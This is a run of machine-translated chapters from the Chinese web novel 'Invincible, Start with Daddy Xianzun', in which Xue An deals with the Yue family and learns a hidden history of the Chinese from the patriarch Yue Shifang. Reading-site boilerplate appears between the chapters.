    But when Yue Hongyuan fell to the ground, the audience was deadly silent, and everyone''s eyes focused on Xue An.


    There is awe, incomprehension, and deep dread among these gazes.


    But at this moment, Xue An didn''t even bother with these eyes from the outside world.


    I saw that he looked at the small sword in his hand quite satisfactorily, and his eyes were full of approval.


    Because he didn''t realize until then that this small red sword could be used so smoothly.


    That''s right!


    This small sword was exactly the one that Jiansan Chen Suqian gave him before he died.


    Xue An didn''t take it seriously at the time, and it wasn''t until later that he met the Yuehua Zhongjun of the Yin Yang family that he vaguely guessed that the origin of this small sword was obviously extraordinary.


    Unexpectedly, after a try today, this small sword was actually very smooth to use.


    Even after killing this Yue Hongyuan, the small sword that was already red and **** became more agile and alive.


    It was as if a puddle of blood was sealed in it, so dazzling.


    This feeling made Xue An really want to try what it would be like after all the accomplices of Yue Hongyuan who were present were beheaded.


    But he finally controlled his impulse.


    Because the family has family laws, this Yue Hongyuan acted recklessly, even trying to provoke the authority of the family head, and now his death is on his own.


    But not all of his comrades deserve to die, especially these people are all members of the Yue family. If you don''t want to slaughter them indiscriminately, it will be easy for people to feel frustrated.


    With this thought in mind, Xue An only glanced at these people whose faces were ashamed and ashen, then turned around and left.


    Now that his goal of sacrificing the flag and standing for prestige has been achieved, these people will naturally have to be dealt with by the punishment hall inside the Yue family, so Xue An is not to worry about.


    really.


    As soon as Xue An turned and left, someone rushed to take these Yue Hongyuan''s accomplices away.


    And Xue An didn''t care about these at all, but walked straight to Yue Qinghuan.


    At this moment, Yue Qinghuan had also woken up from the initial shock, and then a strange smile appeared on his face, holding his shoulders and looking at Xue An who was walking towards him.


    "Congratulations, Lord Commander!"


    Xue An raised his eyebrows slightly, ignoring Yue Qinghuan''s words, but indifferently said: "Where is the training ground? And what cultivation level are these elite soldiers?"


    "You ask this... I know these naturally, but the second elder sister who knows the most is also the second elder sister. Shouldn''t you ask her first?" Yue Qing said with a smile.


    But before Xue An could speak, the two girls slowly stood up and said with a cold tone.


    "The task the Patriarch gave him is for him to complete it himself, and I have no obligation to help him!"


    After that, the second girl walked away directly.


    When he left, the rest of his family members left behind.


    Even Yue Junze, who wanted to come forward to speak, was forcibly taken away by his father.


    In an instant, the entire banquet hall became empty.


    Yue Qinghuan didn''t expect this to happen, and couldn''t help but said in amazement: "Why are all gone?"


    Xue An smiled faintly, "Don''t you want to stay here to see me if you don''t leave?"


    In fact, Xue An is not surprised by this result now, after all, he is also an outsider no matter what.


    Although under Yue Shifang''s strong pressure, these people could not but dare not express any opinions.


    But this does not mean that they will cooperate with Xue An.


    Even Xue An was convinced that if he didn''t get any results next, these people would definitely laugh at him unscrupulously.


    But for these, Xue An did not care.


    Because what he wants is not that these people like or even support themselves.


    All he wants is to complete his task as soon as possible, and then learn everything he wants to know.


    At this time, Yue Qinghuan obviously also thought of this, and couldn''t help but frown slightly.


    "If even they are so resistant to you, then your next military training will obviously not go smoothly!"


    "After all, the people who can be called elite soldiers were created by the Yue family who spent a lot of money. Each of them is one in a million. This has also led to them being extremely unruly, and they have never even subdued anyone except the Patriarch. , You, an outsider, trying to tame them is no easy task!"


    Looking at Yue Qinghuan with a solemn expression, Xue An chuckled lightly, "Isn''t this normal? If this matter is really so easy to deal with, do you think your brother will give it to me? As for what you are talking about. Irregular..."


    A faint flame ignited in Xue An''s eyes, "What I do best is to treat all kinds of dissatisfaction!"


    Somehow, when he saw Xue An''s confident expression on his face, Yue Qinghuan suddenly felt that his heartbeat had stopped for half a beat, and his cheeks were even hotter.


    She hurriedly turned her head to the side and said calmly: "Well, in this case, you should prepare, and I will take you to the training ground tomorrow!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2272 Festival Flag (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2357： 1 system

    With that, Yue Shifang snapped his fingers casually.


    Snapped!


    After a crisp sound, I heard a series of horrified shouts from the ships of the Sima Family and Long Family.


    Because at this moment, the heads of many people in the crowd burst instantly.


    The brains mixed with blood splattered the surrounding people, and their faces were as pale as snow against the background.


    More importantly, this random selection of deaths is still going on.


    No one knew whether the haze of death would fall on him in the next second.


    This approach has undoubtedly brought great psychological pressure to these people.


    Especially when people who have just been alive, their heads burst open in front of you, and they fall down one after another.


    No matter how courage you are, you can''t stop shaking all over.


    at last.


    This nightmare scene is over.


    Looking at the two fleets, blood has flowed into a river.


    The surviving people had no intention of resisting at all. They knelt to the ground and worshipped Yue Shifang in order to survive.


    Yue Shi looked calm, turned his head to look at Xue An, "Do you think it is cruel for me to be like this?"


    Xue An shook his head, "No, on the contrary, you are saving them!"


    "Oh? Why do you say that?" A look of surprise flashed in Yue Shifang''s eyes, and he asked softly.


    "Because all the people who die are damned, and if you do this, you can avoid turmoil in the future to the greatest extent. The so-called thunderbolt method is a bodhisattva''s heart! That''s it!"


    "Hahahaha!" Yue Shifang looked up to the sky again and laughed.


    "It''s a thunderbolt, with Bodhisattva''s heart, Xue An, I really appreciate you more and more!"


    As he said, but seeing a vast expanse of breath suddenly appeared above Yue Shifang''s head, and a virtual image that was huge enough to be comparable to the entire military galaxy appeared.


    I saw him slowly lowering his head, overlooking the thousands of stars, and said in a deep voice: "The military has been split for a long time. Now that I have returned, I will be unified. Do you have any objections?"


    The sound pierced the sky.


    In an instant, the entire military galaxy shook for it.


    The Gu family, Zhongli family, Song family, Lu family, Bai family and so on were moved by the wind, countless masters looked at this virtual image occupying the endless void in disbelief, and there was shock in their eyes.


    Gu Wangya murmured, "I knew he would not die so easily, who was once the number one master of military strategists!"


    Then she suddenly realized something, and then she rushed out of the Gu Family Star Vessel first, released the power of her body, and bowed her head deeply towards the virtual image of Yue Shifang.


    "Gujia, willing to surrender!"


    Her move reminded other big families.


    Zhong Li Wuwang, who is naturally wild and unruly, also laughed.


    "Okay, surrender to your Yue Shifang, it''s not a disgrace to Zhong Li''s home! Zhong Li Wuwang, willing to surrender!"


    In the Song family, Song Yuze saw that his father was still hesitating. He couldn''t help but was too impatient to ask for instructions. He stepped out directly into the void and bowed his head deeply.


    "Song family, willing to come down!"


    For a time, the entire military strategist rang out in the void.


    "The Lu Family is willing to surrender!"


    "The Bai family is willing to come down!"


    In the blink of an eye, apart from the Long Family and the Sima Family, the other nine branches have already expressed their views.


    Yue Shifang nodded, "Very well, since that''s the case, Naer and others will gather in the Yue family to discuss the merger matters afterwards!"


    "Yes!"


    The nine families suddenly promised.


    As for the Long Family and the Sima Family...


    The owner of the family is dead, and they, who have exhausted their talents, have even lost their bargaining qualifications.


    Yue Hechang''s tears of excitement came from his eyes.


    Because this scene before him is exactly the scene he had dreamed of!


    On the contrary, the second girl and Yue Qinghuan were very calm.


    At this moment, Yue Shifang, who had finished everything, turned and smiled at the two of them.


    "During this time, I have worked hard for you too!"


    The second girl smiled and did not speak.


    But sometimes silence is often more touching than words.


    Yue Shifang seemed to hesitate for a moment before he said softly: "I haven''t healed from my injury before, and I can''t give you any promise. Now my injury has recovered, so..."


    "From now on, you will be the mistress of my Yue family!"


    This statement came out.


    The whole Yue family was another tsunami.


    Yue Hechang and the many parents-in-laws immediately stepped back and bowed their heads deeply to the second girl.


    "Welcome the Patriarch''s wife!"


    Then there was a louder shout.


    "Welcome the Patriarch''s wife!"


    The sound shook the stars, and also stained the second girl''s cheeks.


    "I''ll go back and clean up the Flower Hall!"


    With that, the second girl left almost panic.


    Yue Qinghuan looked at it with a smile, but then suddenly she caught a glimpse from the corner of her eyes, and there was a figure in the corner with a sad face and head down.


    Yue Qinghuan trembled slightly, then thought of something, and sighed, but there was no past comfort.


    Because she knew very well that at this moment, any comfort was cruel to Yue Guannan.


    At the same time, a thought came into her mind spontaneously.


    In the future...will it be the same?


    At this point, she couldn''t help but cast her gaze on Xue An, who was on the side of her brother.


    Seeing a white robe, Xue An, who has a sober temperament, even under the cover of his brother''s huge momentum, couldn''t help being a little silly.


    At this moment, Yue Shifang said to Xue An, "Xue An, come with me!"


    With that, he waved his hand, and the two disappeared in place.


    The Yue family here began to get busy.


    Because there are still many things to do next.


    However, people are very tacitly not discussing what the Patriarch and Xue An are going to do.


    In fact, many people are full of guilt towards Xue An at this moment.


    Especially Yue Hechang.


    He simply deeply regretted his previous misunderstanding of Xue An.


    So he has decided that after seeing Xue An again, he must personally apologize to him.


    At this moment, Xue An appeared in a very mysterious and sacred place following Yue Shifang.


    The reason why it is mysterious is that it is actually a transparent space. Standing here, you can clearly see. There are countless stars under your feet and all around. But when you stretch out your hand to touch them, you find the palm of your hand. Will pass through it without hindrance.


    This feeling is really like a dream.


    It is said that it is sacred, because in such a space, there is a temple and an ancestral hall in suspension.


    A plaque was hung directly above the temple.


    The Pantheon.


    Xue An raised his eyebrows slightly, "This is the Pantheon of Soldiers?"


    "Yes! Don''t you want to know what happened back then? Then come with me!"


    With that said, Yue Shifang took a step and walked into the temple.


    And Xue An finally discovered at this time that the star imaginary image spreading over the entire space was the projection of this soldier''s galaxy.


    He closed his mouth and followed silently.


    Please remember our website: Cool Notes Novels () Invincible, the fastest update rate starts from Daddy Xianzun.

 Chapter 2358： The truth of history (part 1)

    "Invincible, start with Dad Xianzun (!


    When stepping into the temple, Xue An found that it was not as magnificent as it appeared outside.


    On the contrary, it is actually very simple, just like the thousands of Taoist temples in the earthly world.


    Only a huge shrine stood in the middle, but there was no idol behind the shrine, only an empty wall.


    Yue Shifang stepped forward to the shrine, picked up three sticks of incense, and inserted it into the incense burner.


    The green smoke curled up, Yue Shifang was silent, and he didn''t speak softly until a long time later.


    "Do you know why I brought you here?"


    "do not know!"


    Yue Shifang raised his head and said indifferently: "This is the place where the souls of the sages of our military strategists have been sent, and it is also the spiritual totem of the military strategists!


    Xue listened quietly, because he knew there must be more.


    really.


    I saw Yue Shifang suddenly turned his head and smiled at Xue An.


    "To be honest, Xue An, your talent is so high that I have only seen it in my life, so I want to ask you, would you like to join my military strategist?"


    After all, Yue Shi looked at Xue An with piercing eyes, as if waiting for his answer.


    Xue An raised his eyebrows slightly, "Is this soliciting me?"


    "You can say the same too!"


    "Then I want to know, what benefits will it bring if you join?" Xue An smiled lightly.


    "It''s very simple. As long as you are willing to join, then I will help you out. You must know that all the answers you are looking for are hidden behind you. You can''t imagine it. And with the help of my soldiers, you The odds of winning will undoubtedly increase a lot!"


    "Oh, it turned out to be like this, it sounds very exciting, but it''s a pity..."


    Xue An shook his head, "I can''t agree!"


    Yue Shifang didn''t expect that Xue An would actually refuse, and couldn''t help but froze in place.


    "you sure?"


    "Of course!"


    "Can I know the reason?"


    "The reason is also very simple. As a Chinese, I must personally repay the hatred of the Chinese. If I use my hands with others, my conscience will not get through, let alone..."


    Xue An stared at Yue Shifang, "If I guess right, even you can''t deal with those existences!"


    Yue Shifang was silent for a moment, and finally nodded, "Yes!"


    "Since even you can''t deal with it, why should I drag your soldiers into the water? As long as you can tell me the truth about what happened back then, I will be very grateful!" Xue An said lightly.


    Looking at him with an indifferent expression, Yue Shifang finally couldn''t help but said: "But are you really planning to walk the next part of the road alone?"


    "Of course not alone, in fact I still have a lot of partners, but you are different, you and the military are too conspicuous, if you are involved in this matter, it is easy to suffer the catastrophe, so please forgive me unacceptable!"


    Yue Shifang stared at Xue An deeply, "Well, it seems that you have already thought out all the countermeasures, then I won''t force you anymore!"


    "What do you want to know, ask now!"


    "My question is still those few! Who were the people who dealt with the Chinese back then? Why did they do that? Why do the Bu Zhoushan in the Chinese mythology actually appear in the sky, the gods in the Chinese legend Where did everything go?"


    These questions Xue An apparently had been deliberate and almost blurted out.


    Yue Shifang smiled bitterly, and then sighed, "You have a lot of questions, but the answers to some of them are actually not clear to me, and I can only tell you everything I know!"


    "it is good!"


    Yue Shifang''s expression gradually became awe-inspiring, "Remember that I once asked you what the history is?"


    "Of course! And you told me at the time that history is an illusion!"


    "Yes, history is indeed an illusion, at least many of the history you know about the Chinese are illusions."


    Xue An trembled all over, "What do you mean?"


    "Aren''t you curious why there are hundreds of schools of thought and Bu Zhou Mountain that only exist in Chinese myths and legends? In fact, this is because your Chinese history has been tampered with!"


    "Has been tampered with?" Xue An asked in disbelief.


    Yue Shifang nodded, his face solemnly said: "Yes, and it was directly tampered with by some great supernatural power!"


    Xue An looked confused, because he really didn''t understand what was going on.


    "In fact, many of the ancient histories you have recorded are things that actually happened in the sky."


    "For example, the battle between Zhu Rong and Gonggong, and the fall of Bu Zhoushan in the future, are all real events in the sky! And the Chinese at that time were the strongest races that occupied the entire sky, not one of them!"


    If the previous remarks only shocked Xue An, then these remarks made Xue An directly stand on the spot, and his eyes looked directly at Yue Shifang.


    Yue Shifang smiled indifferently, "You don''t have to look at me like this, I''m telling the truth! You don''t even understand how powerful the Chinese people were back then. That is the existence that the gods and demons look up to."


    Speaking of this, Yue Shi''s face appeared leisurely and fascinated, "Countless brilliant legends originated from that time, and there are endless generations of amazing talents, so at that time it was also called the golden age by some people."


    "It''s hateful that I was not born at that time, and I couldn''t see the grand occasion, but only a few words in some ancient historical books can give a deep understanding of how brilliant the Chinese people were at that time!"


    Xue An''s lips trembled slightly, and his face became paler.


    Because this was the first time he heard these secrets.


    "and then?"


    "Then... the originally prosperous Chinese quickly declined in a very short period of time, and in the end it even retreated to the ancestral land of the Chinese, which is the earth where you are!"


    Speaking of this, Yue Shifang glanced at Xue An, then reluctantly shook his head, "I know what you want to ask, but why the Chinese will decline in such a short period of time? I don''t know the reason. .uukanshu.com actually I have searched hard, but I didn��t even find any clues!"


    "As if suddenly evaporated, the Chinese quickly retreated back to their ancestral land, but your nation will always be well protected by the bravest of your clan. Even if you return to your ancestral land, you still have great magical powers. The person secretly protected you, so you were still alive and well at that time!"


    "But later, everything suddenly changed. First, the great magical powers in your clan suddenly disappeared collectively, and then a great power that did not know where it came from forcibly tampered with the memories of all of you!"


    "Let you think that the glorious legends of those days were just deeds that happened on that little planet, so you gradually forgot where you came from and settled down!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record this reading (Chapter 2358 The Truth of History (Part 1)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2359： The truth of history (part 2)

    "If that''s the case, at best you will be like those tribes that were once glorious and then declined, completely silent!"


    "But probably just ten thousand years ago, with the weather fortunes in that life coming to the Chinese people, you once again burst out with a terrifyingly powerful potential. The strong are emerging in endlessly, and the gods are everywhere!"


    "And in this case, a catastrophe came suddenly!"


    Speaking of this, a wry smile appeared on Yue Shifang��s face, ��I said before that the catastrophe that year was far from simple as you thought. The huge storm that survived!"


    "But the core of everything comes from your Chinese, because in that catastrophe, evil things appeared!"


    "Before ten thousand years ago, there were no evil things in the entire outer sky, but in that catastrophe, these powerful and strange creatures fell from the sky and began to eat away at the entire world!"


    "My injury was left by confronting a powerful evil leader at that time!"


    "At that time, even I was completely desperate, thinking that the whole world would be destroyed, but I never expected that the invincible army of evil things suddenly slowed down the offensive, and this gave the whole world a chance to breathe!"


    "And as far as I know, at that time, a large number of new Chinese gods disappeared, and all the evil things of your heavens disappeared together! That feeling...like an invisible hand behind your back. It''s all the same in pushing!"


    Yue Shifang''s tone was not hurried or slow, even a little flat.


    But just under this calm tone, it uncovered a magnificent past.


    Xue An never expected that the Chinese back then were the strongest existence that occupied the entire outer sky.


    And the Chinese catastrophe that year almost caused the entire world to suffer.


    As for the mysterious disappearance of the Chinese gods and the annihilation of the evil things from the heavens mentioned by Yue Shifang, Xue An suddenly remembered something.


    Back in the heavens, Xue An was once deprived of time by his opponents with strange supernatural powers.


    At that time, he saw some strange sights.


    Especially around the earth, there seems to be a gap in time.


    At that time, Xue An was very shocked by this incident.


    Because if this is artificial, the ability of the person who shoots can only be described by the incomprehensibility of these four words.


    Combined with what Yang Jian said to him, there was once an invisible force that swept away many Chinese gods.


    In the whole process, there was no obstacle to it.


    You must know that those who were watching all of this behind the scenes were an army of evil things that caused headaches for the soldiers of the sky!


    Faintly, Xue An seemed to feel something, but it seemed that he hadn''t grasped anything.


    He just took a deep look at Yue Shifang, and then asked, "What about the back?"


    "With the retreat of the evil army, everything fell into a state of confrontation, but your Chinese people were completely helpless, especially when the luck dissipated, even the aura of the ancestral planet was completely lost!"


    "What I''m asking is why after this period of history, all of your philosophers will also appear, don''t tell me this is also tampered with!" Xue An said coldly.


    Yue Shifang smiled bitterly, "Sure enough, I can''t fool you! That''s right, the reason why the various schools of thought appeared in your later history was not because of tampering, but because of us!"


    "To be honest, there were many people who had a strong interest in your Chinese people at that time, and especially wanted to understand where the disappeared great supernatural powers went, so in the later period, many families sent their spokespersons to your earth!"


    "Of course, we also include our military strategists! I think Qing Huan must have taken you to pay homage to the many sages of military strategists on the earth!"


    "Yeah!" Xue An nodded.


    "Hehe, she doesn''t know these things at all, so she will be surprised when she gets there. In fact, almost all the power of the entire military strategist went to the earth to go around, such as white, such as...


    "Did you not go?" Xue An asked suddenly.


    "Me?" Yue Shifang smiled, "At that time, I was trying to treat my injuries, so I missed the lively time, but I went there later, but the time has passed, so Only one name is left!"


    Xue An was shocked, suddenly thinking of something, and whispered: "Yue...?"


    "Yes!" Yue Shifang smiled and nodded.


    "Then how could you be harmed by a treacherous man? And why is the fate of so many families among the hundreds of families so miserable?"


    Yue Shifang''s complexion was solemn, "This is exactly what I want to say next! Let''s talk about the period when a hundred schools of thought were contending. At that time, almost none of the people from the ancient hundred schools were left, and they all went to the earth. on!"


    "Unexpectedly, I thought I was a person who went to the game world to find secrets by the way, UU reading was all slapped by reality!"


    "Because the earth at the time was extremely strong and sealed off all magical powers, even if we went, we could only obediently act in accordance with the laws of the heavens at that time."


    "It''s nothing more than that, but what I didn''t expect was that it was a backlash from the Dao of Heaven or some other reason. In just a few decades, there was a Chinese who possessed the Qi of Heaven at the time. The lord of the king of luck!"


    "After he appeared, he unified the Chinese with a force of destruction, and then slaughtered hundreds of scholars. In your history, this is also called...burning books and pitting scholars!"


    Xue An no longer knew how to express the shock in his heart.


    "Are you talking about Emperor Shi Huang?"


    "Yes, this is the person!" Yue Shifang sighed with a high-five, showing respect.


    "Although he is no more than a mortal, I still have full respect for him, because he almost created an impossible miracle!"


    "Countless existences who stomped on the stars in the outer sky were mercilessly beheaded by him! This also directly caused the ancient hundreds of families behind to not dare to covet and spy on the earth."


    "Because they found that they couldn''t penetrate the barrier to go to the earth with their true body at all, and if they were to go with a divine mind clone, they must follow the earth''s law of heaven!"


    "This is also the reason why I went back with a divine mind clone, and ended up so miserably, because once we intervene in it, it will soon lead to a strong backlash from the law of heaven!"


    "No, why have Confucianism and Taoism been passed down?" Xue An asked.


    Yue Shifang laughed at himself, "That''s because they gave in!"


    Please remember our website: Cool Notes Novels () Invincible, the fastest update rate starts from Daddy Xianzun.

 Chapter 2360： Sages

    "Invincible, start with Dad Xianzun (!


    "yield?"


    "Yes, in fact, even in this outer world, Taoism and Confucianism are the two most benevolent schools. To put it bluntly, they are very good at guiding the situation and are very good at catering to your Chinese characteristics."


    "So it quickly occupied a very important position among your Chinese people, but I have always felt that the origin of these ancient schools should have an inexplicable relationship with your Chinese people."


    "So it''s not clear who affected whom."


    Xue An was silent.


    Because the information he received today is too much, even he has to digest it.


    Yue Shifang didn''t urge him, he just stood aside and watched with a smile.


    It was not until a long time later that Xue An let out a long breath.


    "I understand!"


    "Understand what?"


    "Actually you don''t even know who is behind the scenes, right?"


    Yue Shifang nodded, "Yes! In fact, I told you from the beginning that the answers to these questions are actually not clear to me. I can only tell you everything I know!"


    Xue An smiled, "So I still thank you very much, because the information you provided is really important, at least I inferred a truth from this information!"


    "The man behind the scenes against the Chinese should be inextricably linked to the sudden decline of the Chinese back then, that is to say..."


    Xue settled for a while, and said in a deep voice: "As long as you find the reason for the decline of the Chinese people back then, you can uncover the entire mystery!"


    Yue Shifang gave a high-five and sighed, "Yes, your thoughts are exactly the same as mine, but helplessly, I have been investigating for thousands of years, but I haven''t found any clues, as if there was an invisible hand wiping all the traces. It��s the same!"


    This is the second time Yue Shifang has said this, and it can be seen that Yue Shifang is helpless in this matter.


    Xue An just smiled at this, "As long as some things have happened, then the traces of their existence can never be erased, so I will find the answer, I firmly believe this!"


    Seeing Xue An, whose eyes were shining with determination, Yue Shifang suddenly felt a little envious.


    Although his appearance looks similar to Xue An''s age after healed from his injury, he found that his mentality is inevitably older.


    He has even lost his spirit, and is far from full of youthful spirits like Xue An.


    Is there such a big difference between living for more than 3,000 years and living for tens of thousands of years? Or do you mean that you are really old? Yue Shifang couldn''t help thinking in his heart.


    And this feeling of melancholy continued until Xue An left.


    When only Yue Shifang was left in the temple, he raised his head and sighed.


    "You said, am I really old?"


    Following the voice, the empty wall behind the shrine began to ripple.


    Immediately afterwards, dazzling rays of light began to appear.


    Then he listened to an old voice with a smile: "Why is Xiao Shifang so sentimental all of a sudden?"


    Little Shifang!


    Perhaps the entire military strategist was only qualified to call Yue Shifang that way only those who placed their souls in this pantheon.


    At the same time, another voice, Jie Jie, smiled strangely: "What else can it be, isn''t it just being stimulated by that kid?"


    Following the voice, I saw several illusory figures appearing in the brilliance on the wall.


    And it was a gray-haired old man and a big bearded man who were talking.


    Hearing these words, Yue Shifang gave a wry smile.


    "Seniors, don''t make fun of me anymore, I just made an impression just now!"


    "Yes, you old guys are purely disrespectful of the old, and if I say that Xiao Shifang shouldn''t take care of you!"


    Accompanied by a crisp female voice, a phantom image of a beautiful lady appeared.


    "Hehe!" When he saw this woman, the bearded man couldn''t help laughing a few times before rubbing his hands.


    "My baby Xianyi, you are also awake!"


    The woman glared at the big cheeky man, "Who is your baby Xianyi?"


    "Of course it''s you!" The big cheeky man smiled.


    "Zhong Lishan, do you have the ability to say it again?" the woman raised her eyebrows and asked.


    "Oh, why be so serious? I''m just expressing the excitement of seeing you!" Zhong Lishan hurriedly smiled.


    "Bah, what kind of stuff your Zhong Lishan is? I don��t know yet? I tell you, Gu Xianyi is not the kind of woman who allows you to make fun. If you don��t say one, two or three today, be careful that I put your face on your face. All his beards are pulled out one by one!" Gu Xianyi shouted.


    Hearing this, Zhong Lishan shrank his neck in fright, and hurriedly looked at the old man aside with a plea for help.


    "Old man Yue, you are saying something! What''s the point of hiding and watching the excitement?"


    This old man smiled and stroked the beard on his chin, "What are you talking about? You caused it, so naturally you will calm it down! What''s the relationship with me?"


    When Zhong Lishan heard this, he was anxious, "Yue Huazang, you are not interesting enough. I still treat your current generations in vain!"


    Gu Xianyi sneered at this time, "Zhong Lishan, you don''t involve Senior Yue, you must give me an explanation today!"


    "Explain, what''s the explanation, grandma, can''t I make a mistake!" Zhong Lishan told Rao.


    "No! What''s the point if I am wrong?"


    "Then what are you thinking about?" Zhong Lishan cried out.


    Gu Xianyi''s eyes widened in an instant, looking at Zhong Lishan in disbelief, "You dare to yell at me?"


    "I... I don''t!"


    For a time, the field became very lively.


    Here, Zhong Lishan and Gu Xianyi are in a quarrel, while Yue Huazang and a few elderly people huddled together and whispered.


    "Hey, who can win this time?"


    "Isn''t this nonsense? It must be Gu Xianyi! How could Zhong Lishan, an idiot, be her opponent!"


    "I think so, so how long do you think Zhong Lishan can last this time?"


    "At most this number!" The old man stretched out two fingers.


    "twenty minutes?"


    "Hehe, you too look down on Zhong Lishan this guy too much, at most two minutes, he must kneel down and beg for mercy, believe it or not?"


    "I don''t believe it! It will take three minutes!"


    "Then let''s make a bet!"


    "Bet, bet!"


    For a time these onlookers actually started a gambling game in a very serious manner.


    The bet is when Zhong Lishan can admit defeat.


    And these words also floated to Yue Shifang''s ears, making him dumbfounded.


    That''s right!


    Those who quarreled endlessly as soon as they met, and were still onlookers gloating on the sidelines, are the sages of the military strategists'' major families.


    For example, Zhong Lishan is a sage from the Zhongli family, and Gu Xianyi is the founder of the Gu family.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2360 of the sages), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2361： Unstoppable luck

    As for this Yue Huazang, he is naturally a sage of the Yue family.


    After their fall, their true spirits are immortal, and they live in the existence of the Pantheon.


    It can also be said to be the oldest witness of the entire military strategist.


    Once upon a time, because these spirits had just died and their strength was still alive, the Pantheon at that time could be said to be the most terrifying combat power of the soldiers.


    But as the years went by, the strength of these spirits also dissipated little by little, and finally became what it is now.


    Just like the old man walking in the park, apart from his rich experience and experience, there is no more strength that can be praised.


    However, this does not prevent these strategists from quarreling and watching the excitement.


    For example, now the battle between Zhong Lishan and Gu Xianyi is clearly nearing an end.


    As expected, Zhong Lishan was finally defeated.


    I saw him obediently leaning over and bowing, "Auntie, I was wrong, I will never dare to do it again, okay?"


    "Don''t dare anything? Tell me to hear it!"


    "I promise I won''t call you baby Xianyi again, and I will show you enough respect. That''s it!"


    "Hmph, this is almost the same! Flatten!" Gu Xianyi said coldly, but there was a smile between her eyebrows.


    Zhong Lishan stood up with a sad face, but when he turned around, the depression on his face disappeared, and he sneered at the contemptuous glances cast by Yue Huazang and the other elders.


    "What do you look at? I haven''t seen an apology before, what''s the point of a man who can bend and stretch?"


    "I''ve seen an apology, but it''s rare to see someone kneeling down and begging for mercy like you!" one of the old men said with a grin.


    Zhong Lishan glared, "Sima Yu, you''re so **** talking jokes on the sidelines, I didn''t kneel down and beg for mercy just now!"


    "Then what are you doing?"


    "I just happened to stand a little tired just now, so I want to squat down and rest for a while!" Zhong Lishan said without changing his expression and heartbeat.


    Elders: convex (��0��) convex!


    Zhong Lishan didn''t care about this at all. He smiled, and came to Yue Shifang in a flash, then circled him a few times, and finally nodded.


    "Don''t say it, it''s really the injury! Is this the kid''s credit?"


    "Yeah!" Yue Shifang nodded.


    "How did he do it? Even if you know your injuries, even we are helpless!" Gu Xianyi also came to Yue Shifang and asked in a deep voice.


    "Yeah, I also know that kid Zha Wenliang, he doesn''t have that great ability to heal all the injuries in your soul!" Sima Yu also said.


    Yue Shifang smiled, "This is a long story to say!"


    With that said, Yue Shi conveniently recounted the story.


    After hearing that Xue An actually used a dead star as a cover and engraved the shielding runes on it, he finally succeeded in deceiving the secrets of heaven and allowing Yue Shifang to resurrect.


    The sages of the soldiers present all high-five and admire.


    "It''s a good trick to hide from the sky and cross the sea, really has the demeanor of our military strategy!" Sima Yu said.


    Long Tianzong on the side also nodded frequently, "Sure enough, this son is not an ordinary person!"


    Even Gu Xianyi, who has always been arrogant, couldn''t help but say: "If this is all planned by him, there is indeed something to be done!"


    Instead, Zhong Lishan curled his lips, "This kid is a bit clever, but have you really decided to help him? You know this is not a joke. One carelessness may cause our entire military family to fall into trouble. In a dangerous situation!"


    Yue Shifang smiled, "I have indeed made a decision, otherwise I won''t tell him all the secrets of the past, as for the consequences you said..."


    A bright brilliance appeared in Yue Shifang''s eyes, "Compared with continuing such a mediocre decline, why don''t we take a gamble?"


    "bet?"


    Upon hearing this word, these people all became interested.


    "How to bet?"


    "Yeah, tell me how to bet?"


    Only the oldest Yue Huazang suddenly understood something and lowered his head thoughtfully.


    Yue Shifang said indifferently, "I think you should be able to perceive that even if you live deep in this pantheon, the military has been declining for thousands of years!"


    Upon hearing this, all these sages were silent.


    Because Yue Shifang was right.


    Compared with the heyday of military strategists, the current military strategists have actually declined too much.


    Not to mention anything else, just talk about the Patriarchs of the Twelfth Vessel, except for a Yue Shifang, there is not even a true saint.


    Even at the Hundred Schools Conference for nearly a thousand years, military strategists were absent.


    From this we can also see how far the military strategist has fallen.


    "What does it have to do with this kid?"


    "Of course it does matter, because this kid is of the Chinese ethnicity, and how brilliant the Chinese ethnicity used to be, I believe I don''t need to say more!"


    "So what? In the end, didn''t it end up completely defeated and retired from Tianwaitian?" Zhong Lishan said.


    Yue Shifang shook his head, "It''s not the same! Because I can clearly feel that in this young man''s body is buried the great luck of the entire Chinese rejuvenation!"


    "what?"


    "The ultimate luck for the Chinese revival?"


    Everyone was horrified but horrified. UU reading


    "Are you sure you are not kidding?"


    "Of course not! And I''m serious." Yue Shifang said solemnly.


    "But this kid is just a cultivation base of the Immortal Venerable now! How easy is it to rejuvenate the Chinese?" Zhong Lishan obviously didn''t believe it.


    "Hehe, although his current cultivation level is not very good, do you know how long it took him to rebuild from a completely destroyed person to his current state?"


    "how long?"


    "It''s only a few decades!"


    As soon as these words came out, these sages of military strategists were all a commotion.


    "How can it be!"


    "I didn''t believe it at first, but it is indeed true!" Yue Shifang said lightly.


    These sages of soldiers were silent.


    Because they knew that Yue Shifang would definitely not make jokes about this kind of thing.


    "If that''s the case, then this kid is really unusual!" Zhong Lishan murmured.


    "That''s why I decided to help him, because this is also helping our soldiers themselves!"


    Speaking of this, Yue Shifang looked around.


    "So there is one more thing I want to tell you next!"


    "What''s the matter? Oh, just say it happily, mother-in-law is really anxious!" Zhong Lishan said anxiously.


    Yue Shifang smiled, and even if he narrowed his smile, he said in a deep voice: "I decided to break the twelfth vein and unify the entire military!"


    The audience fell silent for an instant, but a violent noise broke out after only a moment.


    "Okay! I agree!"


    "Yes, it should have been done this long ago!"


    "Damn, if I want to be alive, this soldier dare not split at all!"


